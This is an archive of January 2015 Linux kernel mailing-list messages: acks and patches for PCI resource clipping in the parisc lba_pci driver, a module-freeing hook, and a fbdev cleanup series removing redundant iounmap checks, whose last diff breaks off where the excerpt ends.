Cc: linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Yinghai Lu <yinghai@kernel.org>,
	Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 22:01:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YB8aW-0005JK-J4
	for glpp-linux-parisc@plane.gmane.org; Tue, 13 Jan 2015 22:01:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751272AbbAMVBU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2015 16:01:20 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:62291 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751400AbbAMVBT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2015 16:01:19 -0500
Original-Received: from [192.168.20.60] ([84.173.61.20]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MOwY7-1Y5vFk1kE3-006Poh; Tue, 13 Jan 2015 22:01:15
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1421090600-9750-9-git-send-email-yinghai@kernel.org>
X-Provags-ID: V03:K0:ljL7cZupLE3ZSnCA6nTEvi3j5y9dsSEAEe+qJEcXTQc18AzgP4L
 gFUR+PG/vS3lrUuKFWdVySHj9bsqCgt4VWgPs/qNQwkpkNzmtKFkKCghDcHgVL0+zoRb++L
 k/2KHwb2VJh4S5ydJiRiHcvF7hWagbtj6eReT8RBJ8wNFi1PmkPW9Lbh9+W1B470F78UZhy
 9kgzGrVfgeV3ikttvtDzA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25548 gmane.linux.kernel.pci:38381 gmane.linux.kernel:1865381
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25548>

On 12.01.2015 20:23, Yinghai Lu wrote:
> Some bios put range that is not fully coverred by root bus resources.
> Try to clip them and update them in pci bridge bars.
>
> We'd like to fix other arches instead of just x86.
>
> Link: https://bugzilla.kernel.org/show_bug.cgi?id=85491
> Reported-by: Marek Kordik <kordikmarek@gmail.com>
> Fixes: 5b28541552ef ("PCI: Restrict 64-bit prefetchable bridge windows to 64-bit resources")
> Signed-off-by: Yinghai Lu <yinghai@kernel.org>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org

I tested it on the parisc arch - everything OK.

Acked-by: Helge Deller <deller@gmx.de>

Thanks!
Helge


> ---
>   drivers/parisc/lba_pci.c | 26 ++++++++++++++++++++++++--
>   1 file changed, 24 insertions(+), 2 deletions(-)
>
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index 37e71ff..e6ab352 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -692,11 +692,25 @@ lba_fixup_bus(struct pci_bus *bus)
>   	*/
>   	if (bus->parent) {
>   		int i;
> +		bool changed = false;
> +
> +		dev = bus->self;
>   		/* PCI-PCI Bridge */
>   		pci_read_bridge_bases(bus);
>   		for (i = PCI_BRIDGE_RESOURCES; i < PCI_NUM_RESOURCES; i++) {
> -			pci_claim_resource(bus->self, i);
> +			struct resource *res = &dev->resource[i];
> +
> +			if (pci_claim_resource(dev, i) >= 0)
> +				continue;
> +
> +			if (pci_bus_clip_resource(dev, res)) {
> +				changed = true;
> +				if (pci_claim_resource(dev, i) >= 0)
> +					continue;
> +			}
>   		}
> +		if (changed)
> +			pci_setup_bridge(bus);
>   	} else {
>   		/* Host-PCI Bridge */
>   		int err;
> @@ -776,7 +790,15 @@ lba_fixup_bus(struct pci_bus *bus)
>   			** that share expansion ROMs (think quad tulip), but
>   			** isn't harmful.
>   			*/
> -			pci_claim_resource(dev, i);
> +			if (pci_claim_resource(dev, i) >= 0)
> +				continue;
> +
> +			/* try again with clip */
> +			if (i != PCI_ROM_RESOURCE &&
> +			    pci_bus_clip_resource(dev, res)) {
> +				pci_update_resource(dev, i);
> +				pci_claim_resource(dev, i);
> +			}
>   		}
>
>   #ifdef FBB_SUPPORT
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/3] module_arch_freeing_init(): new hook for archs before
 module->module_init freed.
Date: Tue, 13 Jan 2015 22:11:34 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <54B58A06.5000800@gmx.de>
References: <1420678687-30548-1-git-send-email-rusty@rustcorp.com.au> <1420678687-30548-2-git-send-email-rusty@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1421183522 4274 80.91.229.3 (13 Jan 2015 21:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2015 21:12:02 +0000 (UTC)
Cc: Chris Metcalf <cmetcalf@ezchip.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>, linux-kernel@vger.kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Jan 13 22:11:56 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1YB8kk-0003aq-Ug
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 13 Jan 2015 22:11:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751999AbbAMVLx (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 13 Jan 2015 16:11:53 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:55315 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751346AbbAMVLw (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Tue, 13 Jan 2015 16:11:52 -0500
Original-Received: from [192.168.20.60] ([84.173.61.20]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Ma1Mt-1YUB4I1NKZ-00Ln1x; Tue, 13 Jan 2015 22:11:37
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1420678687-30548-2-git-send-email-rusty@rustcorp.com.au>
X-Provags-ID: V03:K0:WUAz7FpEUtDxChp1cIoaicPa0PrKXrwtEQOLtuSvqp53n2rf+qD
 0+PqyfFUIu+inJtZ+uh42R9vgQR1uTKB+RNC+bqYYuVyL75caSwAbIhTFzUeSRjQerUYRXN
 PwkaxeP/nDT7vWxguJ8zowql5sciWR+SaHx7WsF1isSjYj4E5r3eXrBfMVx7AAXJc9RN7FV
 uCuOC+xEPafhYhP8IWAsA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:24865 gmane.linux.kernel:1865386 gmane.linux.ports.parisc:25549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/24865>

On 08.01.2015 01:58, Rusty Russell wrote:
> Archs have been abusing module_free() to clean up their arch-specific
> allocations.  Since module_free() is also (ab)used by BPF and trace code,
> let's keep it to simple allocations, and provide a hook called before
> that.
>
> This means that avr32, ia64, parisc and s390 no longer need to implement
> their own module_free() at all.  avr32 doesn't need module_finalize()
> either.
>
> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
> Cc: Chris Metcalf <cmetcalf@ezchip.com>
> Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
> Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
> Cc: Tony Luck <tony.luck@intel.com>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> ---
>   arch/avr32/kernel/module.c   | 13 +------------
>   arch/ia64/kernel/module.c    |  6 ++----
>   arch/parisc/kernel/module.c  |  6 +-----
>   arch/s390/kernel/module.c    | 10 +++-------
>   arch/tile/kernel/module.c    |  2 +-
>   include/linux/moduleloader.h |  2 ++
>   kernel/module.c              |  7 +++++++
>   7 files changed, 17 insertions(+), 29 deletions(-)

I successfully tested it on the parisc arch.

Acked-by: Helge Deller <deller@gmx.de>

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: [PATCH v2 08/10] PCI, parisc: clip firmware assigned resource under parent bridge's
Date: Wed, 14 Jan 2015 20:31:35 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <1421296297-6371-9-git-send-email-yinghai@kernel.org>
References: <1421296297-6371-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1421296381 30266 80.91.229.3 (15 Jan 2015 04:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2015 04:33:01 +0000 (UTC)
Cc: linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	Yinghai Lu <yinghai@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 15 05:32:53 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YBc70-0001oq-O0
	for glk-linux-kernel-3@plane.gmane.org; Thu, 15 Jan 2015 05:32:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754138AbbAOEcr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 14 Jan 2015 23:32:47 -0500
Original-Received: from userp1040.oracle.com ([156.151.31.81]:20416 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751558AbbAOEco (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 14 Jan 2015 23:32:44 -0500
Original-Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t0F4WWAP018986
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 15 Jan 2015 04:32:33 GMT
Original-Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85])
	by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id t0F4WVto027454
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
	Thu, 15 Jan 2015 04:32:31 GMT
Original-Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17])
	by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id t0F4WUbj013629;
	Thu, 15 Jan 2015 04:32:30 GMT
Original-Received: from linux-siqj.site (/10.159.157.238)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Wed, 14 Jan 2015 20:32:30 -0800
X-Mailer: git-send-email 1.8.4.5
In-Reply-To: <1421296297-6371-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet22.oracle.com [141.146.126.238]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1866619 gmane.linux.kernel.pci:38414 gmane.linux.ports.parisc:25550
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1866619>

Some bios put range that is not fully coverred by root bus resources.
Try to clip them and update them in pci bridge bars.

We'd like to fix other arches instead of just x86.

Link: https://bugzilla.kernel.org/show_bug.cgi?id=85491
Reported-by: Marek Kordik <kordikmarek@gmail.com>
Fixes: 5b28541552ef ("PCI: Restrict 64-bit prefetchable bridge windows to 64-bit resources")
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/lba_pci.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 37e71ff..dceb9dd 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -694,9 +694,8 @@ lba_fixup_bus(struct pci_bus *bus)
 		int i;
 		/* PCI-PCI Bridge */
 		pci_read_bridge_bases(bus);
-		for (i = PCI_BRIDGE_RESOURCES; i < PCI_NUM_RESOURCES; i++) {
-			pci_claim_resource(bus->self, i);
-		}
+		for (i = PCI_BRIDGE_RESOURCES; i < PCI_NUM_RESOURCES; i++)
+			pci_claim_bridge_resource(bus->self, i);
 	} else {
 		/* Host-PCI Bridge */
 		int err;
-- 
1.8.4.5


From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [PATCH 0/9] video: fbdev: Deletion of some unnecessary checks
Date: Mon, 19 Jan 2015 18:54:56 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <54BD44F0.3040705@users.sourceforge.net>
References: <5307CAA2.8060406@users.sourceforge.net> <alpine.DEB.2.02.1402212321410.2043@localhost6.localdomain6> <530A086E.8010901@users.sourceforge.net> <alpine.DEB.2.02.1402231635510.1985@localhost6.localdomain6> <530A72AA.3000601@users.sourceforge.net> <alpine.DEB.2.02.1402240658210.2090@localhost6.localdomain6> <530B5FB6.6010207@users.sourceforge.net> <alpine.DEB.2.10.1402241710370.2074@hadrien> <530C5E18.1020800@users.sourceforge.net> <alpine.DEB.2.10.1402251014170.2080@hadrien> <530CD2C4.4050903@users.sourceforge.net> <alpine.DEB.2.10.1402251840450.7035@hadrien> <530CF8FF.8080600@users.sourceforge.net> <alpine.DEB.2.02.1402252117150.2047@localhost6.localdomain6> <530DD06F.4090703@users.sourceforge.net> <alpine.DEB.2.02.1402262129250.2221@localhost6.localdomain6> <5317A59D.4@users.so
 urceforge.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1421690128 24843 80.91.229.3 (19 Jan 2015 17:55:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 19 Jan 2015 17:55:28 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	kernel-janitors@vger.kernel.org,
	Julia Lawall <julia.lawall@lip6.fr>
To: Antonino Daplas <adaplas@gmail.com>,
	Ferenc Bakonyi <fero@drama.obuda.kando.hu>,
	Hans de Goede <hdegoede@redhat.com>,
	Helge Deller <deller@gmx.de>,
	"James E. J. Bottomley" <jejb@parisc-linux.org>,
	Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>,
	Kristoffer Ericson <kristoffer.ericson@gmail.com>,
	Peter Jones <pjones@redhat.com>,
	Tomi Valkeinen <tomi.valkeinen@ti.com>,
	linux-fbdev@vger.kernel.org, linux-nvidia@lists.surfsouth.com,
	linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jan 19 18:55:26 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YDGXq-0006rZ-Jx
	for glk-linux-kernel-3@plane.gmane.org; Mon, 19 Jan 2015 18:55:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752745AbbASRzP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 19 Jan 2015 12:55:15 -0500
Original-Received: from mout.web.de ([212.227.15.14]:52419 "EHLO mout.web.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752716AbbASRzM (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 19 Jan 2015 12:55:12 -0500
Original-Received: from [192.168.1.2] ([78.48.242.248]) by smtp.web.de (mrweb002) with
 ESMTPSA (Nemesis) id 0LaTpn-1XSQG537qJ-00mK8Q; Mon, 19 Jan 2015 18:54:58
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <5317A59D.4@users.sourceforge.net>
X-Provags-ID: V03:K0:iJAuW2wBQmpjNBaao0Fc2WuL9tyyLHfejrBwH7suR9swY7cxB62
 D8Oyp0Dgbi2svR8XIulduC2OWtdYXNwQyAz+a04EIL7qsvSWWIDGNEaQXHCJZSJ0kGxQMXU
 uOVWJHmbT6BVCIWeltU3Tsrlwxsife3p/O47mZRJu08zoT/XgOGH8zcmjA04gsgACTfGfMz
 GZ6fijkQBIvYY2M5mWgsg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1869164 gmane.linux.ports.parisc:25551 gmane.linux.kernel.janitors:32785
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1869164>

From: Markus Elfring <elfring@users.sourceforge.net>
Date: Mon, 19 Jan 2015 17:57:25 +0100

Further update suggestions were taken into account after a patch was applied
from static source code analysis.

Markus Elfring (9):
  fbdev: Deletion of checks before the function call "iounmap"
  One function call less in tdfxfb_probe() after error detection
  One function call less in vesafb_probe() after error detection
  Add check for return value of ioremap() in cirrusfb_pci_register()
  Less function calls in trident_pci_probe() after error detection
  One function call less in pvr2fb_common_init() after error detection
  One function call less in tgafb_register() after error detection
  Less function calls in valkyriefb_init() after error detection
  Less function calls in w100fb_probe() after error detection

 drivers/video/fbdev/aty/atyfb_base.c   | 15 +++++--------
 drivers/video/fbdev/cirrusfb.c         | 10 ++++++---
 drivers/video/fbdev/controlfb.c        |  6 ++---
 drivers/video/fbdev/efifb.c            |  3 +--
 drivers/video/fbdev/hgafb.c            |  3 +--
 drivers/video/fbdev/hpfb.c             |  3 +--
 drivers/video/fbdev/i810/i810_main.c   |  6 ++---
 drivers/video/fbdev/macfb.c            | 15 +++++--------
 drivers/video/fbdev/offb.c             |  3 +--
 drivers/video/fbdev/pvr2fb.c           | 15 ++++++-------
 drivers/video/fbdev/s1d13xxxfb.c       |  3 +--
 drivers/video/fbdev/s3fb.c             |  6 ++---
 drivers/video/fbdev/sh_mobile_hdmi.c   |  6 ++---
 drivers/video/fbdev/sh_mobile_lcdcfb.c |  3 +--
 drivers/video/fbdev/simplefb.c         |  3 +--
 drivers/video/fbdev/stifb.c            |  3 +--
 drivers/video/fbdev/tdfxfb.c           | 22 +++++++++----------
 drivers/video/fbdev/tgafb.c            | 20 ++++++++---------
 drivers/video/fbdev/tridentfb.c        | 15 +++++++------
 drivers/video/fbdev/valkyriefb.c       | 37 ++++++++++++++++++-------------
 drivers/video/fbdev/vesafb.c           | 11 +++++-----
 drivers/video/fbdev/w100fb.c           | 40 +++++++++++++++++-----------------
 22 files changed, 116 insertions(+), 132 deletions(-)

-- 
2.2.2


From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/9] video: Deletion of checks before the function call "iounmap"
Date: Mon, 19 Jan 2015 19:00:26 +0100
Lines: 444
Approved: news@gmane.org
Message-ID: <54BD463A.90104@users.sourceforge.net>
References: <5307CAA2.8060406@users.sourceforge.net> <alpine.DEB.2.02.1402212321410.2043@localhost6.localdomain6> <530A086E.8010901@users.sourceforge.net> <alpine.DEB.2.02.1402231635510.1985@localhost6.localdomain6> <530A72AA.3000601@users.sourceforge.net> <alpine.DEB.2.02.1402240658210.2090@localhost6.localdomain6> <530B5FB6.6010207@users.sourceforge.net> <alpine.DEB.2.10.1402241710370.2074@hadrien> <530C5E18.1020800@users.sourceforge.net> <alpine.DEB.2.10.1402251014170.2080@hadrien> <530CD2C4.4050903@users.sourceforge.net> <alpine.DEB.2.10.1402251840450.7035@hadrien> <530CF8FF.8080600@users.sourceforge.net> <alpine.DEB.2.02.1402252117150.2047@localhost6.localdomain6> <530DD06F.4090703@users.sourceforge.net> <alpine.DEB.2.02.1402262129250.2221@localhost6.localdomain6> <5317A59D.4@users.so
 urceforge.net> <54BD44F0.3040705@users.sourceforge.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1421690446 30717 80.91.229.3 (19 Jan 2015 18:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 19 Jan 2015 18:00:46 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	kernel-janitors@vger.kernel.org,
	Julia Lawall <julia.lawall@lip6.fr>
To: Antonino Daplas <adaplas@gmail.com>,
	Ferenc Bakonyi <fero@drama.obuda.kando.hu>,
	Hans de Goede <hdegoede@redhat.com>,
	Helge Deller <deller@gmx.de>,
	"James E. J. Bottomley" <jejb@parisc-linux.org>,
	Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>,
	Kristoffer Ericson <kristoffer.ericson@gmail.com>,
	Peter Jones <pjones@redhat.com>,
	Tomi Valkeinen <tomi.valkeinen@ti.com>,
	linux-fbdev@vger.kernel.org, linux-nvidia@lists.surfsouth.com,
	linux-parisc@vger.kernel.org
Original-X-From: kernel-janitors-owner@vger.kernel.org Mon Jan 19 19:00:43 2015
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1YDGcx-000082-JD
	for glkj-kernel-janitors-2@plane.gmane.org; Mon, 19 Jan 2015 19:00:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752071AbbASSAi (ORCPT
	<rfc822;glkj-kernel-janitors-2@m.gmane.org>);
	Mon, 19 Jan 2015 13:00:38 -0500
Original-Received: from mout.web.de ([212.227.15.14]:51510 "EHLO mout.web.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751781AbbASSAg (ORCPT <rfc822;kernel-janitors@vger.kernel.org>);
	Mon, 19 Jan 2015 13:00:36 -0500
Original-Received: from [192.168.1.2] ([78.48.242.248]) by smtp.web.de (mrweb003) with
 ESMTPSA (Nemesis) id 0M8A09-1Xr56S29Vx-00vh72; Mon, 19 Jan 2015 19:00:29
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <54BD44F0.3040705@users.sourceforge.net>
X-Provags-ID: V03:K0:ia6xN8cVszsF10gRjg/2eVQEYtOfM1zyXlYQMoBdVlgdxG4GlRE
 hrwDbFmTxNu0OgMUOQC8UBzqQlnttAmb1bQUD8oKxvxU6GZmyqoiJY3jFjyGtrgGH9cWFww
 pq8o7dtlHb+6lj0KqeUXr7+kuPzQDHlXf8OsmMmeTm5lQ9PK2Emey+/IoUs8F+Y38UwCyeV
 Tt6iAkd8YcoDKDYBdj8yQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:32787 gmane.linux.ports.parisc:25552 gmane.linux.kernel:1869168
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/32787>

From: Markus Elfring <elfring@users.sourceforge.net>
Date: Sun, 18 Jan 2015 22:45:39 +0100

The iounmap() function performs also input parameter validation.
Thus the test around the call is not needed.

This issue was detected by using the Coccinelle software.

Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
---
 drivers/video/fbdev/aty/atyfb_base.c   | 15 +++++----------
 drivers/video/fbdev/cirrusfb.c         |  3 +--
 drivers/video/fbdev/controlfb.c        |  6 ++----
 drivers/video/fbdev/efifb.c            |  3 +--
 drivers/video/fbdev/hgafb.c            |  3 +--
 drivers/video/fbdev/hpfb.c             |  3 +--
 drivers/video/fbdev/i810/i810_main.c   |  6 ++----
 drivers/video/fbdev/macfb.c            | 15 +++++----------
 drivers/video/fbdev/offb.c             |  3 +--
 drivers/video/fbdev/pvr2fb.c           |  3 +--
 drivers/video/fbdev/s1d13xxxfb.c       |  3 +--
 drivers/video/fbdev/s3fb.c             |  6 ++----
 drivers/video/fbdev/sh_mobile_hdmi.c   |  6 ++----
 drivers/video/fbdev/sh_mobile_lcdcfb.c |  3 +--
 drivers/video/fbdev/simplefb.c         |  3 +--
 drivers/video/fbdev/stifb.c            |  3 +--
 drivers/video/fbdev/tdfxfb.c           |  6 ++----
 drivers/video/fbdev/tgafb.c            |  3 +--
 drivers/video/fbdev/tridentfb.c        |  6 ++----
 drivers/video/fbdev/valkyriefb.c       |  9 +++------
 drivers/video/fbdev/vesafb.c           |  6 ++----
 drivers/video/fbdev/w100fb.c           |  9 +++------
 22 files changed, 41 insertions(+), 82 deletions(-)

diff --git a/drivers/video/fbdev/aty/atyfb_base.c b/drivers/video/fbdev/aty/atyfb_base.c
index 37ec09b..0f4b147 100644
--- a/drivers/video/fbdev/aty/atyfb_base.c
+++ b/drivers/video/fbdev/aty/atyfb_base.c
@@ -3605,10 +3605,8 @@ err_release_io:
 #ifdef __sparc__
 	kfree(par->mmap_map);
 #else
-	if (par->ati_regbase)
-		iounmap(par->ati_regbase);
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(par->ati_regbase);
+	iounmap(info->screen_base);
 #endif
 err_release_mem:
 	if (par->aux_start)
@@ -3733,13 +3731,10 @@ static void atyfb_remove(struct fb_info *info)
 	}
 #endif
 #ifndef __sparc__
-	if (par->ati_regbase)
-		iounmap(par->ati_regbase);
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(par->ati_regbase);
+	iounmap(info->screen_base);
 #ifdef __BIG_ENDIAN
-	if (info->sprite.addr)
